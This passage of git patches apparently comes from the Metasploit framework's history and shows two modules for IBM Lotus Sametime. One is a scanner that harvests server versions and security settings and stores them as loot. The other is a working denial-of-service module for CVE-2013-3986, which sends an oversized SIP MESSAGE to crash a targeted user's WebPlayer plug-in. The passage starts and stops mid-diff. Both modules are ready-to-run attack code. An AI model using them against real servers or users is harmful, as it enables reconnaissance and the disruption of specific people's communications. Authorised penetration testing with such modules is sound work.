Msf::Auxiliary::Report + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report - def initialize - super( - 'Name' => 'IBM Lotus Sametime Version Enumeration', - 'Description' => %q{ - This module scans an IBM Lotus Sametime web interface to enumerate - the version and configuration information. - }, - 'Author' => - [ - 'kicks4kittens' # Metasploit module - ], - 'License' => MSF_LICENSE - ) - register_options( - [ - Opt::RPORT(443), - OptString.new('TARGETURI', [ true, "The path to the Sametime Server", '/']), - OptBool.new('QuerySametimeProxy', [ true, "Automatically query Sametime proxy if found", true]), - OptBool.new('ShowVersions', [ true, "Display Version information from server", true]), - OptBool.new('ShowConfig', [ true, "Display Config information from server", true]), - OptBool.new('ShowAPIVersions', [ true, "Display API Version information from server", false]) - ], self.class) + def initialize + super( + 'Name' => 'IBM Lotus Sametime Version Enumeration', + 'Description' => %q{ + This module scans an IBM Lotus Sametime web interface to enumerate + the version and configuration information. + }, + 'Author' => + [ + 'kicks4kittens' # Metasploit module + ], + 'License' => MSF_LICENSE + ) + register_options( + [ + OptString.new('TARGETURI', [ true, "The path to the Sametime Server", '/']), + OptBool.new('QuerySametimeProxy', [ true, "Automatically query Sametime proxy if found", true]), + OptBool.new('ShowVersions', [ true, "Display Version information from server", true]), + OptBool.new('ShowConfig', [ true, "Display Config information from server", true]), + OptBool.new('ShowAPIVersions', [ true, "Display API Version information from server", false]) + ], self.class) - register_advanced_options( - [ - OptBool.new('StoreConfigs', [ true, "Store JSON configs to loot", true]) - ], self.class) + register_advanced_options( + [ + OptBool.new('StoreConfigs', [ true, "Store JSON configs to loot", true]) + ], self.class) + + end + + def check_url(tpath, url, stproxy_rhost='') + + if stproxy_rhost.empty? + checked_host = datastore['RHOST'] + vprint_status("Requesting \"#{checked_host}:#{rport}#{normalize_uri(tpath, url)}\"") + res = send_request_cgi({ + 'uri' => normalize_uri(tpath, url), + 'method' => 'GET' + }) + else + checked_host = stproxy_rhost + # make request with provided stproxy rhost + vprint_status("Requesting \"#{checked_host}:#{rport}#{normalize_uri(tpath, url)}\"") + res = send_request_cgi({ + 'uri' => normalize_uri(tpath, url), + 'method' => 'GET', + 'rhost' => stproxy_rhost, # connect to Sametime Proxy + 'vhost' => stproxy_rhost # set appropriate VHOST + }) + end + + if not res + print_status("#{checked_host}:#{rport} - Did not respond") + return + elsif res.code == 403 + print_status("#{checked_host}:#{rport} - Access Denied #{res.code} #{res.message}") + return + elsif not res.code == 200 + print_error("#{checked_host}:#{rport} - Unexpected Response code (#{res.code}) received from server") + return + end + + if url.include?('WebAVServlet') + # special handler for WebAVServlet as body is JSON regardless of content-type + + begin + res_json = JSON.parse(res.body) + rescue JSON::ParserError + print_error("Unable to parse JSON response") + end + extract_webavservlet_data(res_json) + + elsif res['content-type'].include?("text/plain") or res['content-type'].include?("text/html") + + res.body.each_line do | response_line | + extract_response_data(response_line, url) + end + + elsif res['content-type'].include?("text/json") or res['content-type'].include?("text/javaScript") + + begin + res_json = JSON.parse(res.body) + rescue JSON::ParserError + print_error("Unable to parse JSON response") + end + + # store configuration files as loot + store_config(tpath, url, res_json, checked_host) if datastore['StoreConfigs'] + + extract_json_data(res_json) end - def peer - return "#{rhost}:#{rport}" + end + + def extract_webavservlet_data(res_json) + # extract data from WebAVServlet + + # stwebav/WebAVServlet --> WebPlayer information + if res_json['Softphone'] + @version_info['version']['Softphone'] = res_json['Softphone'] + end + if res_json['WebPlayer'] + @version_info['version']['WebPlayer'] = res_json['WebPlayer'] end - def check_url(tpath, url, stproxy_rhost='') + end - begin - if not stproxy_rhost.empty? - checked_host = stproxy_rhost - # make request with provided stproxy rhost - vprint_status("Requesting \"#{checked_host}:#{rport}#{normalize_uri(tpath, url)}\"") - res = send_request_cgi({ - 'uri' => normalize_uri(tpath, url), - 'method' => 'GET', - 'rhost' => stproxy_rhost, # connect to Sametime Proxy - 'vhost' => stproxy_rhost # set appropriate VHOST - }) - else - checked_host = datastore['RHOST'] - vprint_status("Requesting \"#{checked_host}:#{rport}#{normalize_uri(tpath, url)}\"") - res = send_request_cgi({ - 'uri' => normalize_uri(tpath, url), - 'method' => 'GET' - }) + def extract_response_data(response_line, url) + # extract data from response - end + case response_line + # stmeetings/about.jsp --> Sametime Server version string + when /lotusBuild">Release (.+?)<\/td>/i + # lotus build version + @version_info['version']['sametimeVersion'] = $1.chomp + # serverversion.properties --> API Version information + when /^meeting=(.*)$/i + # meeting api version + @version_info['api']['meeting'] = $1.chomp + when /^appshare=(.*)$/i + # appshare api version + @version_info['api']['appshare'] = $1.chomp + when /^docshare=(.*)$/i + # docshare api version + @version_info['api']['docshare'] = $1.chomp + when /^rtc4web=(.*)$/i + # rtc4web api version + @version_info['api']['rtc4web'] = $1.chomp + when /^roomapi=(.*)$/i + # room api version + @version_info['api']['roomapi'] = $1.chomp + when /^recordings=(.*)$/i + # recording api version + @version_info['api']['recordings'] = $1.chomp + when /^audio=(.*)$/i + # audio api version + @version_info['api']['audio'] = $1.chomp + when /^video=(.*)$/i + # video api version + @version_info['api']['video'] = $1.chomp + # rtc/buildinfo.txt --> Server Build version + when /^(\d{8}-\d+)$/ + if url.include?('buildinfo.txt') + # buildinfo version + @version_info['version']['buildinfo'] = $1.chomp + end + # stwebclient/i18nStrings.jsp --> Sametime Server version string + when /aboutBoxProductTitle":"(.*?)",/i + if not @version_info['version']['sametimeVersion'] + # sametime version + @version_info['version']['sametimeVersion'] = $1.chomp + end + end + end - if not res - print_status("#{checked_host}:#{rport} - Did not respond") - return - elsif res.code == 403 - print_status("#{checked_host}:#{rport} - Access Denied #{res.code} #{res.message}") - return - elsif not res.code == 200 - print_error("#{checked_host}:#{rport} - Unexpected Response code (#{res.code}) received from server") - return - end - if url.include?('WebAVServlet') - # special handler for WebAVServlet as body is JSON regardless of content-type + def extract_json_data(res_json) + # extract data from JSON response - res_json = JSON.parse(res.body) - extract_webavservlet_data(res_json) - - elsif res['content-type'].include?("text/plain") or res['content-type'].include?("text/html") - - res.body.each_line do | response_line | - extract_response_data(response_line, url) - end - - elsif res['content-type'].include?("text/json") or res['content-type'].include?("text/javaScript") - - res_json = JSON.parse(res.body) - - # store configuration files as loot - store_config(tpath, url, res_json, checked_host) if datastore['StoreConfigs'] - - extract_json_data(res_json) - - end - - rescue Errno::ENOPROTOOPT, Errno::ECONNRESET, ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::ArgumentError - print_error("#{checked_host}:#{rport} - Unable to Connect") - return - rescue ::Timeout::Error, ::Errno::EPIPE - print_error("#{checked_host}:#{rport} - Timeout error") - return - end + # stwebclient/communityserver --> Community server address + if res_json['communityRef'] + @version_info['conf']['communityRef'] = res_json['communityRef'] + end + if res_json['anonymousEnabled'] + @version_info['conf']['communityref_anonymousEnabled'] = res_json['anonymousEnabled'] + # stmeetings/configuration --> Sametime configuration + end + if res_json['calinteg.enabled'] + @version_info['conf']['calinteg.enabled'] = res_json['calinteg.enabled'] + end + if res_json['docshare.fileio.codebase'] + @version_info['conf']['docshare.fileio.codebase'] = res_json['docshare.fileio.codebase'] + end + if res_json['docshare.native.codebase'] + @version_info['conf']['docshare.native.codebase'] = res_json['docshare.native.codebase'] + end + if res_json['docshare.remote.url'] + @version_info['conf']['docshare.remote.url'] = res_json['docshare.remote.url'] + end + if res_json['meetingroom.allowGuestAccess'] + if res_json['meetingroom.allowGuestAccess'] == "1" + @version_info['conf']['meetingroom.allowGuestAccess'] = "true" + else + @version_info['conf']['meetingroom.allowGuestAccess'] = "false" + end + end + if res_json['meetingroomcenter.allowGuestAccess'] + if res_json['meetingroomcenter.allowGuestAccess'] == "1" + @version_info['conf']['meetingroomcenter.allowGuestAccess'] = "true" + else + @version_info['conf']['meetingroomcenter.allowGuestAccess'] = "false" + end + end + if res_json['meetingroomcenter.customLoginPage'] + @version_info['conf']['meetingroomcenter.customLoginPage'] = res_json['meetingroomcenter.customLoginPage'] + end + if res_json['meetingroomcenter.enforceCSRFToken'] + @version_info['conf']['meetingroomcenter.enforceCSRFToken'] = res_json['meetingroomcenter.enforceCSRFToken'] + end + if res_json['meetingroomcenter.enforceHiddenRooms'] + @version_info['conf']['meetingroomcenter.enforceHiddenRooms'] = res_json['meetingroomcenter.enforceHiddenRooms'] + end + if res_json['meetingroomcenter.passwords'] + @version_info['conf']['meetingroomcenter.passwords'] = res_json['meetingroomcenter.passwords'] + end + if res_json['meetingserver.statistics.jmx.enabled'] + @version_info['conf']['meetingserver.statistics.jmx.enabled'] = res_json['meetingserver.statistics.jmx.enabled'] + end + if res_json['rtc4web.enforceNonce'] + @version_info['conf']['rtc4web.enforceNonce'] = res_json['rtc4web.enforceNonce'] + end + if res_json['userInfoRedirect'] + @version_info['conf']['userInfoRedirect'] = res_json['userInfoRedirect'] + end + if res_json['userInfoUrlTemplate'] + @version_info['conf']['userInfoUrlTemplatee'] = res_json['userInfoUrlTemplate'] + end + if res_json['meetingroomcenter.stProxyAddress'] + @version_info['conf']['meetingroomcenter.stProxyAddress'] = res_json['meetingroomcenter.stProxyAddress'] + end + if res_json['meetingroomcenter.stProxySSLAddress'] + @version_info['conf']['meetingroomcenter.stProxySSLAddress'] = res_json['meetingroomcenter.stProxySSLAddress'] + end + # stwebclient/communityserver --> Sametime Community server name + if res_json['communityRef'] + @version_info['conf']['communityRef'] = res_json['communityRef'] + @version_info['conf']['anonymousEnabled'] = res_json['anonymousEnabled'] end - def extract_webavservlet_data(res_json) - # extract data from WebAVServlet + end - # stwebav/WebAVServlet --> WebPlayer information - if res_json['Softphone'] - @version_info['version']['Softphone'] = res_json['Softphone'] - end - if res_json['WebPlayer'] - @version_info['version']['WebPlayer'] = res_json['WebPlayer'] - end + def report + if @version_info['version']['sametimeVersion'] + print_line() + print_good("#{@version_info['version']['sametimeVersion']} Detected (#{peer})") + else + print_line() + print_status("#{peer} - IBM Lotus Sametime information") end - def extract_response_data(response_line, url) - # extract data from response + # configure tables + version_tbl = Msf::Ui::Console::Table.new( + Msf::Ui::Console::Table::Style::Default, + 'Header' => "IBM Lotus Sametime Information [Version]", + 'Prefix' => "", + 'Indent' => 1, + 'Columns' => + [ + "Component", + "Version" + ]) - case response_line - # stmeetings/about.jsp --> Sametime Server version string - when /lotusBuild">Release (.+?)<\/td>/i - # lotus build version - @version_info['version']['sametimeVersion'] = $1.chomp - # serverversion.properties --> API Version information - when /^meeting=(.*)$/i - # meeting api version - @version_info['api']['meeting'] = $1.chomp - when /^appshare=(.*)$/i - # appshare api version - @version_info['api']['appshare'] = $1.chomp - when /^docshare=(.*)$/i - # docshare api version - @version_info['api']['docshare'] = $1.chomp - when /^rtc4web=(.*)$/i - # rtc4web api version - @version_info['api']['rtc4web'] = $1.chomp - when /^roomapi=(.*)$/i - # room api version - @version_info['api']['roomapi'] = $1.chomp - when /^recordings=(.*)$/i - # recording api version - @version_info['api']['recordings'] = $1.chomp - when /^audio=(.*)$/i - # audio api version - @version_info['api']['audio'] = $1.chomp - when /^video=(.*)$/i - # video api version - @version_info['api']['video'] = $1.chomp - # rtc/buildinfo.txt --> Server Build version - when /^(\d{8}-\d+)$/ - if url.include?('buildinfo.txt') - # buildinfo version - @version_info['version']['buildinfo'] = $1.chomp - end - # stwebclient/i18nStrings.jsp --> Sametime Server version string - when /aboutBoxProductTitle":"(.*?)",/i - if not @version_info['version']['sametimeVersion'] - # sametime version - @version_info['version']['sametimeVersion'] = $1.chomp - end - end + conf_tbl = Msf::Ui::Console::Table.new( + Msf::Ui::Console::Table::Style::Default, + 'Header' => "IBM Lotus Sametime Information [Config]", + 'Prefix' => "", + 'Indent' => 1, + 'Columns' => + [ + "Key", + "Value" + ]) + + api_tbl = Msf::Ui::Console::Table.new( + Msf::Ui::Console::Table::Style::Default, + 'Header' => "IBM Lotus Sametime Information [API]", + 'Prefix' => "", + 'Indent' => 1, + 'Columns' => + [ + "API", + "Version" + ]) + + # populate tables + @version_info['version'].each do | line | + version_tbl << [ line[0], line[1] ] end - - def extract_json_data(res_json) - # extract data from JSON response - - # stwebclient/communityserver --> Community server address - if res_json['communityRef'] - @version_info['conf']['communityRef'] = res_json['communityRef'] - end - if res_json['anonymousEnabled'] - @version_info['conf']['communityref_anonymousEnabled'] = res_json['anonymousEnabled'] - # stmeetings/configuration --> Sametime configuration - end - if res_json['calinteg.enabled'] - @version_info['conf']['calinteg.enabled'] = res_json['calinteg.enabled'] - end - if res_json['docshare.fileio.codebase'] - @version_info['conf']['docshare.fileio.codebase'] = res_json['docshare.fileio.codebase'] - end - if res_json['docshare.native.codebase'] - @version_info['conf']['docshare.native.codebase'] = res_json['docshare.native.codebase'] - end - if res_json['docshare.remote.url'] - @version_info['conf']['docshare.remote.url'] = res_json['docshare.remote.url'] - end - if res_json['meetingroom.allowGuestAccess'] - if res_json['meetingroom.allowGuestAccess'] == "1" - @version_info['conf']['meetingroom.allowGuestAccess'] = "true" - else - @version_info['conf']['meetingroom.allowGuestAccess'] = "false" - end - end - if res_json['meetingroomcenter.allowGuestAccess'] - if res_json['meetingroomcenter.allowGuestAccess'] == "1" - @version_info['conf']['meetingroomcenter.allowGuestAccess'] = "true" - else - @version_info['conf']['meetingroomcenter.allowGuestAccess'] = "false" - end - end - if res_json['meetingroomcenter.customLoginPage'] - @version_info['conf']['meetingroomcenter.customLoginPage'] = res_json['meetingroomcenter.customLoginPage'] - end - if res_json['meetingroomcenter.enforceCSRFToken'] - @version_info['conf']['meetingroomcenter.enforceCSRFToken'] = res_json['meetingroomcenter.enforceCSRFToken'] - end - if res_json['meetingroomcenter.enforceHiddenRooms'] - @version_info['conf']['meetingroomcenter.enforceHiddenRooms'] = res_json['meetingroomcenter.enforceHiddenRooms'] - end - if res_json['meetingroomcenter.passwords'] - @version_info['conf']['meetingroomcenter.passwords'] = res_json['meetingroomcenter.passwords'] - end - if res_json['meetingserver.statistics.jmx.enabled'] - @version_info['conf']['meetingserver.statistics.jmx.enabled'] = res_json['meetingserver.statistics.jmx.enabled'] - end - if res_json['rtc4web.enforceNonce'] - @version_info['conf']['rtc4web.enforceNonce'] = res_json['rtc4web.enforceNonce'] - end - if res_json['userInfoRedirect'] - @version_info['conf']['userInfoRedirect'] = res_json['userInfoRedirect'] - end - if res_json['userInfoUrlTemplate'] - @version_info['conf']['userInfoUrlTemplatee'] = res_json['userInfoUrlTemplate'] - end - if res_json['meetingroomcenter.stProxyAddress'] - @version_info['conf']['meetingroomcenter.stProxyAddress'] = res_json['meetingroomcenter.stProxyAddress'] - end - if res_json['meetingroomcenter.stProxySSLAddress'] - @version_info['conf']['meetingroomcenter.stProxySSLAddress'] = res_json['meetingroomcenter.stProxySSLAddress'] - end - # stwebclient/communityserver --> Sametime Community server name - if res_json['communityRef'] - @version_info['conf']['communityRef'] = res_json['communityRef'] - @version_info['conf']['anonymousEnabled'] = res_json['anonymousEnabled'] - end - + @version_info['conf'].each do | line | + conf_tbl << [ line[0], line[1] ] end - def report + @version_info['api'].each do | line | + api_tbl << [ line[0], line[1] ] + end - if @version_info['version']['sametimeVersion'] - print_line() - print_good("#{@version_info['version']['sametimeVersion']} Detected (#{peer})") + # display tables + print_good("#{version_tbl.to_s}") if not version_tbl.to_s.empty? and datastore['ShowVersions'] + print_good("#{api_tbl.to_s}") if not api_tbl.to_s.empty? and datastore['ShowAPIVersions'] + print_good("#{conf_tbl.to_s}") if not conf_tbl.to_s.empty? and datastore['ShowConfig'] + + # report_note + if @version_info['version']['sametimeVersion'] + report_note( + :host => datastore['rhost'], + :port => datastore['rport'], + :proto => 'http', + :ntype => 'ibm_lotus_sametime_version', + :data => @version_info['version']['sametimeVersion'] + ) + end + end + + def store_config(tpath, url, config_to_store, checked_host) + # store configuration as loot + + if not config_to_store.empty? + loot = store_loot( + "ibm_lotus_sametime_configuration_" + url, + "text/json", + datastore['rhost'], + config_to_store, + ".json" + ) + + print_good("#{checked_host} - IBM Lotus Sametime Configuration data stored as loot") + print_status("#{checked_host}#{normalize_uri(tpath, url)}\n => #{loot}") + end + end + + def run + + # create storage for extracted information+ + @version_info = {} + @version_info['version'] = {} + @version_info['conf'] = {} + @version_info['api'] = {} + + tpath = normalize_uri(target_uri.path) + + sametime_urls = [ + '/stmeetings/about.jsp', + '/stmeetings/serverversion.properties', + '/rtc/buildinfo.txt', + '/stmeetings/configuration?format=json&verbose=true' + ] + + sametime_proxy_urls = [ + '/stwebclient/i18nStrings.jsp', + '/stwebclient/communityserver', + '/stwebav/WebAVServlet?Name=WebPlayerVersion' + ] + + print_status("#{peer} - Checking IBM Lotus Sametime Server") + sametime_urls.each do | url | + check_url(tpath, url) + end + + if @version_info['conf']['meetingroomcenter.stProxyAddress'] or @version_info['conf']['meetingroomcenter.stProxySSLAddress'] + # check Sametime proxy if configured to do so + if datastore['QuerySametimeProxy'] + + if @version_info['conf']['meetingroomcenter.stProxySSLAddress'] and datastore['SSL'] + # keep using SSL + stproxy_rhost = URI(@version_info['conf']['meetingroomcenter.stProxySSLAddress']).host + vprint_status("Testing discovered Sametime proxy address for further data #{stproxy_rhost}") else - print_line() - print_status("#{peer} - IBM Lotus Sametime information") + stproxy_rhost = URI(@version_info['conf']['meetingroomcenter.stProxyAddress']).host + vprint_status("Testing discovered Sametime proxy address for further data #{stproxy_rhost}") end - # configure tables - version_tbl = Msf::Ui::Console::Table.new( - Msf::Ui::Console::Table::Style::Default, - 'Header' => "IBM Lotus Sametime Information [Version]", - 'Prefix' => "", - 'Indent' => 1, - 'Columns' => - [ - "Component", - "Version" - ]) + print_good("#{peer} - Sametime Proxy address discovered #{stproxy_rhost}") - conf_tbl = Msf::Ui::Console::Table.new( - Msf::Ui::Console::Table::Style::Default, - 'Header' => "IBM Lotus Sametime Information [Config]", - 'Prefix' => "", - 'Indent' => 1, - 'Columns' => - [ - "Key", - "Value" - ]) - - api_tbl = Msf::Ui::Console::Table.new( - Msf::Ui::Console::Table::Style::Default, - 'Header' => "IBM Lotus Sametime Information [API]", - 'Prefix' => "", - 'Indent' => 1, - 'Columns' => - [ - "API", - "Version" - ]) - - # populate tables - @version_info['version'].each do | line | - version_tbl << [ line[0], line[1] ] + sametime_proxy_urls.each do | url | + check_url(tpath, url, stproxy_rhost) end - @version_info['conf'].each do | line | - conf_tbl << [ line[0], line[1] ] - end - - @version_info['api'].each do | line | - api_tbl << [ line[0], line[1] ] - end - - # display tables - print_good("#{version_tbl.to_s}") if not version_tbl.to_s.empty? and datastore['ShowVersions'] - print_good("#{api_tbl.to_s}") if not api_tbl.to_s.empty? and datastore['ShowAPIVersions'] - print_good("#{conf_tbl.to_s}") if not conf_tbl.to_s.empty? and datastore['ShowConfig'] - - # report_note - if @version_info['version']['sametimeVersion'] - report_note( - :host => datastore['rhost'], - :port => datastore['rport'], - :proto => 'http', - :ntype => 'ibm_lotus_sametime_version', - :data => @version_info['version']['sametimeVersion'] - ) - end + else + print_status("#{peer} - Sametime Proxy address discovered #{stproxy_rhost}, but checks disabled") + end end - def store_config(tpath, url, config_to_store, checked_host) - # store configuration as loot + report unless @version_info.empty? - if not config_to_store.empty? - loot = store_loot( - "ibm_lotus_sametime_configuration_" + url, - "text/json", - datastore['rhost'], - config_to_store, - ".json" - ) - - print_good("#{checked_host} - IBM Lotus Sametime Configuration data stored as loot") - print_status("#{checked_host}#{normalize_uri(tpath, url)}\n => #{loot}") - end - end - - def run - - # create storage for extracted information+ - @version_info = {} - @version_info['version'] = {} - @version_info['conf'] = {} - @version_info['api'] = {} - - tpath = normalize_uri(target_uri.path) - - sametime_urls = [ - '/stmeetings/about.jsp', - '/stmeetings/serverversion.properties', - '/rtc/buildinfo.txt', - '/stmeetings/configuration?format=json&verbose=true' - ] - - sametime_proxy_urls = [ - '/stwebclient/i18nStrings.jsp', - '/stwebclient/communityserver', - '/stwebav/WebAVServlet?Name=WebPlayerVersion' - ] - - print_status("#{peer} - Checking IBM Lotus Sametime Server") - sametime_urls.each do | url | - check_url(tpath, url) - end - - if @version_info['conf']['meetingroomcenter.stProxyAddress'] or @version_info['conf']['meetingroomcenter.stProxySSLAddress'] - # check Sametime proxy if configured to do so - if datastore['QuerySametimeProxy'] - - if @version_info['conf']['meetingroomcenter.stProxySSLAddress'] and datastore['SSL'] - # keep using SSL - stproxy_rhost = URI(@version_info['conf']['meetingroomcenter.stProxySSLAddress']).host - vprint_status("Testing discovered Sametime proxy address for further data #{stproxy_rhost}") - else - stproxy_rhost = URI(@version_info['conf']['meetingroomcenter.stProxyAddress']).host - vprint_status("Testing discovered Sametime proxy address for further data #{stproxy_rhost}") - end - - print_good("#{peer} - Sametime Proxy address discovered #{stproxy_rhost}") - - sametime_proxy_urls.each do | url | - check_url(tpath, url, stproxy_rhost) - end - - else - print_status("#{peer} - Sametime Proxy address discovered #{stproxy_rhost}, but checks disabled") - end - end - - report unless @version_info.empty? - - end + end end From b2f42d2576106f2cf4e52f1d51f0819c746dc435 Mon Sep 17 00:00:00 2001 From: kicks4kittens Date: Wed, 15 Jan 2014 13:54:25 +0100 Subject: [PATCH 018/246] Fixed code issues as requested in PR2801 Mostly coding style issues Re-tested in testbed - output as expected --- .../multi/misc/ibm_sametime_webplayer_dos.rb | 348 +++++++++--------- 1 file changed, 174 insertions(+), 174 deletions(-) diff --git a/modules/exploits/multi/misc/ibm_sametime_webplayer_dos.rb b/modules/exploits/multi/misc/ibm_sametime_webplayer_dos.rb index aed629576d..43eaaddce6 100644 --- a/modules/exploits/multi/misc/ibm_sametime_webplayer_dos.rb +++ b/modules/exploits/multi/misc/ibm_sametime_webplayer_dos.rb @@ -7,204 +7,204 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Remote::Tcp - include Msf::Auxiliary::Dos + include Msf::Exploit::Remote::Tcp + include Msf::Auxiliary::Dos - def initialize(info = {}) - super(update_info(info, - 'Name' => 'IBM Lotus Sametime WebPlayer DoS', - 'Description' => %q{ - This module exploits a known flaw in the IBM Lotus Sametime WebPlayer - version 8.5.2.1392 (and prior) to cause a denial of service condition - against specific users. For this module to function the target user - must be actively logged into the IBM Lotus Sametime server and have - the Sametime Audio Visual browser plug-in (WebPlayer) loaded as a - browser extension. The user should have the WebPlayer plug-in active - (i.e. be in a Sametime Audio/Video meeting for this DoS to work correctly. + def initialize(info = {}) + super(update_info(info, + 'Name' => 'IBM Lotus Sametime WebPlayer DoS', + 'Description' => %q{ + This module exploits a known flaw in the IBM Lotus Sametime WebPlayer + version 8.5.2.1392 (and prior) to cause a denial of service condition + against specific users. For this module to function the target user + must be actively logged into the IBM Lotus Sametime server and have + the Sametime Audio Visual browser plug-in (WebPlayer) loaded as a + browser extension. The user should have the WebPlayer plug-in active + (i.e. be in a Sametime Audio/Video meeting for this DoS to work correctly. - RHOST Target should be the Sametime Media Server address and NOT the - web interface SIPURI should be in the format - @ (e.g. - targetuser%40targetdomain.com@stmedia.targetdomain.com - }, - 'Author' => - [ - 'kicks4kittens' # Metasploit module - ], - 'License' => MSF_LICENSE, - 'Actions' => - [ - ['DOS'], - ['CHECK'] - ], - 'DefaultAction' => 'DOS', - 'References' => - [ - [ 'CVE', '2013-3986' ], - [ 'OSVDB', '99552' ], - [ 'BID', '63611'], - [ 'URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21654041' ], - [ 'URL', 'http://xforce.iss.net/xforce/xfdb/84969' ] - - ], - 'DisclosureDate' => 'Nov 07 2013')) + RHOST Target should be the Sametime Media Server address and NOT the + web interface SIPURI should be in the format + @ (e.g. + targetuser%40targetdomain.com@stmedia.targetdomain.com + }, + 'Author' => + [ + 'kicks4kittens' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'Actions' => + [ + ['DOS'], + ['CHECK'] + ], + 'DefaultAction' => 'DOS', + 'References' => + [ + [ 'CVE', '2013-3986' ], + [ 'OSVDB', '99552' ], + [ 'BID', '63611'], + [ 'URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21654041' ], + [ 'URL', 'http://xforce.iss.net/xforce/xfdb/84969' ] - register_options( - [ - Opt::RPORT(5060), - OptString.new('SIPURI', [true, 'The SIP URI of the user to be targeted', \ - '@']), - OptBool.new('CHECKUSER', [ true, 'Validate user is logged into Sametime', true]), - OptInt.new('TIMEOUT', [ true, 'Set specific response timeout', 0]) - ], self.class) + ], + 'DisclosureDate' => 'Nov 07 2013')) + register_options( + [ + Opt::RPORT(5060), + OptString.new('SIPURI', [true, 'The SIP URI of the user to be targeted', + '@']), + OptBool.new('CHECKUSER', [ true, 'Validate user is logged into Sametime', true]), + OptInt.new('TIMEOUT', [ true, 'Set specific response timeout', 0]) + ], self.class) + + end + + def setup + # cleanup SIP target to ensure it's in the correct format to use + @sipuri = datastore['SIPURI'] + if @sipuri[0,4].downcase == "sip:" + # remove sip: if present in string + @sipuri = @sipuri[4,@sipuri.length] + end + if @sipuri[0,12].downcase == "webavclient-" + # remove WebAVClient- if present in string + @sipuri = @sipuri[12,@sipuri.length] end - def setup - # cleanup SIP target to ensure it's in the correct format to use - @sipuri = datastore['SIPURI'] - if @sipuri[0,4].downcase == "sip:" - # remove sip: if present in string - @sipuri = @sipuri[4,@sipuri.length] - end - if @sipuri[0,12].downcase == "webavclient-" - # remove WebAVClient- if present in string - @sipuri = @sipuri[12,@sipuri.length] - end + end + def checkuser + # used to check the user is logged into Sametime and after DoS to check success + length = Rex::Text.rand_text_numeric(2) # just enough to check response + msg = create_message(length) + + print_status("Checking if targeted user #{@sipuri} is online") + res = send_msg(msg) + + # check response for current user status - common return codes + if res.nil? + print_error("No response recevied from server") + return false + elsif res =~ /430 Flow Failed/i + print_good("User #{@sipuri} is no longer responding (already DoS'd?)") + return false + elsif res =~ /404 Not Found/i + print_error("User #{@sipuri} is currently offline or not in a Sametime video session") + return false + elsif res =~ /200 OK/i + print_good("User #{@sipuri} is online") + return true + else + print_error("Unknown server response") + return false end - def checkuser - # used to check the user is logged into Sametime and after DoS to check success - length = Rex::Text.rand_text_numeric(2) # just enough to check response + end + + def run + + # inform user of action currently selected + print_status("Action: #{action.name} selected") + + if datastore['CHECKUSER'] or action.name == 'CHECK' + # check the user is online without DOS + response = checkuser + else + print_status("User check disabled, continuing with DoS against #{@sipuri}") + response = true # no check performed + end + + unless action.name == 'CHECK' # only proceed if action not set to CHECK + if response + # checkuser explicitly disabled or user is online + + print_status("Targeting user: #{@sipuri}") + print_status("Sending DoS packet to #{rhost}:#{rport}") + + length = 12000 # enough to overflow the end of allocated memory msg = create_message(length) - - print_status("Checking if targeted user #{@sipuri} is online") res = send_msg(msg) - # check response for current user status - common return codes - if not res or res.nil? - print_error("No response recevied from server") - return false + if res.nil? + if datastore['CHECKUSER'] # check user AFTER DoS + print_good("User #{@sipuri} is no longer responding") + else + print_good("No response from server. User is offline or server doesn't respond") + end elsif res =~ /430 Flow Failed/i - print_good("User #{@sipuri} is no longer responding (already DoS'd?)") - return false + print_good("DoS packet successful. Response received (430 Flow Failed)") + print_good("User #{@sipuri} is no longer responding") elsif res =~ /404 Not Found/i - print_error("User #{@sipuri} is currently offline or not in a Sametime video session") - return false + print_error("DoS packet appears successful. Response received (404 Not Found)") + print_status("User appears to be currently offline or not in a Sametime video session") elsif res =~ /200 OK/i - print_good("User #{@sipuri} is online") - return true - else - print_error("Unknown server response") - return false + print_error("DoS packet unsuccessful. Response received (200)") + print_status("Check user is running an effected version of IBM Lotus Sametime WebPlayer") end - + else + print_error("Check failed, ensure user is online") + end end + end - def run + def create_message(length) + # create SIP MESSAGE of specified length + vprint_status("Creating SIP MESSAGE packet #{length} bytes long") - # inform user of action currently selected - print_status("Action: #{action.name} selected") + suser = Rex::Text.rand_text_alphanumeric(rand(8)+1) + shost = Rex::Socket.source_address(datastore['RHOST']) + src = "#{shost}:#{datastore['RPORT']}" + cseq = Rex::Text.rand_text_numeric(3) + message_text = Rex::Text.rand_text_alphanumeric(length.to_i) + branch = Rex::Text.rand_text_alphanumeric(7) - if datastore['CHECKUSER'] or action.name == 'CHECK' - # check the user is online without DOS - response = checkuser - else - print_status("User check disabled, continuing with DoS against #{@sipuri}") - response = true # no check performed - end + # setup SIP message in the correct format expected by the server + data = "MESSAGE sip:WebAVClient-#{@sipuri} SIP/2.0" + "\r\n" + data << "Via: SIP/2.0/TCP #{src};branch=#{branch}.#{"%.8x" % rand(0x100000000)};rport;alias" + "\r\n" + data << "Max-Forwards: 80\r\n" + data << "To: sip:WebAVClient-#{@sipuri}" + "\r\n" + data << "From: sip:#{suser}@#{src};tag=70c00e8c" + "\r\n" + data << "Call-ID: #{rand(0x100000000)}@#{shost}" + "\r\n" + data << "CSeq: #{cseq} MESSAGE" + "\r\n" + data << "Content-Type: text/plain;charset=utf-8" + "\r\n" + data << "User-Agent: #{suser}\r\n" + data << "Content-Length: #{message_text.length}" + "\r\n\r\n" + data << message_text - unless action.name == 'CHECK' # only proceed if action not set to CHECK - if response - # checkuser explicitly disabled or user is online + return data + end - print_status("Targeting user: #{@sipuri}") - print_status("Sending DoS packet to #{rhost}:#{rport}") - - length = 12000 # enough to overflow the end of allocated memory - msg = create_message(length) - res = send_msg(msg) - - if not res or res.nil? - if datastore['CHECKUSER'] # check user AFTER DoS - print_good("User #{@sipuri} is no longer responding") - else - print_good("No response from server. User is offline or server doesn't respond") - end - elsif res =~ /430 Flow Failed/i - print_good("DoS packet successful. Response received (430 Flow Failed)") - print_good("User #{@sipuri} is no longer responding") - elsif res =~ /404 Not Found/i - print_error("DoS packet appears successful. Response received (404 Not Found)") - print_status("User appears to be currently offline or not in a Sametime video session") - elsif res =~ /200 OK/i - print_error("DoS packet unsuccessful. Response received (200)") - print_status("Check user is running an effected version of IBM Lotus Sametime WebPlayer") - end - else - print_error("Check failed, ensure user is online") - end - end + def timing_get_once(s, length) + if 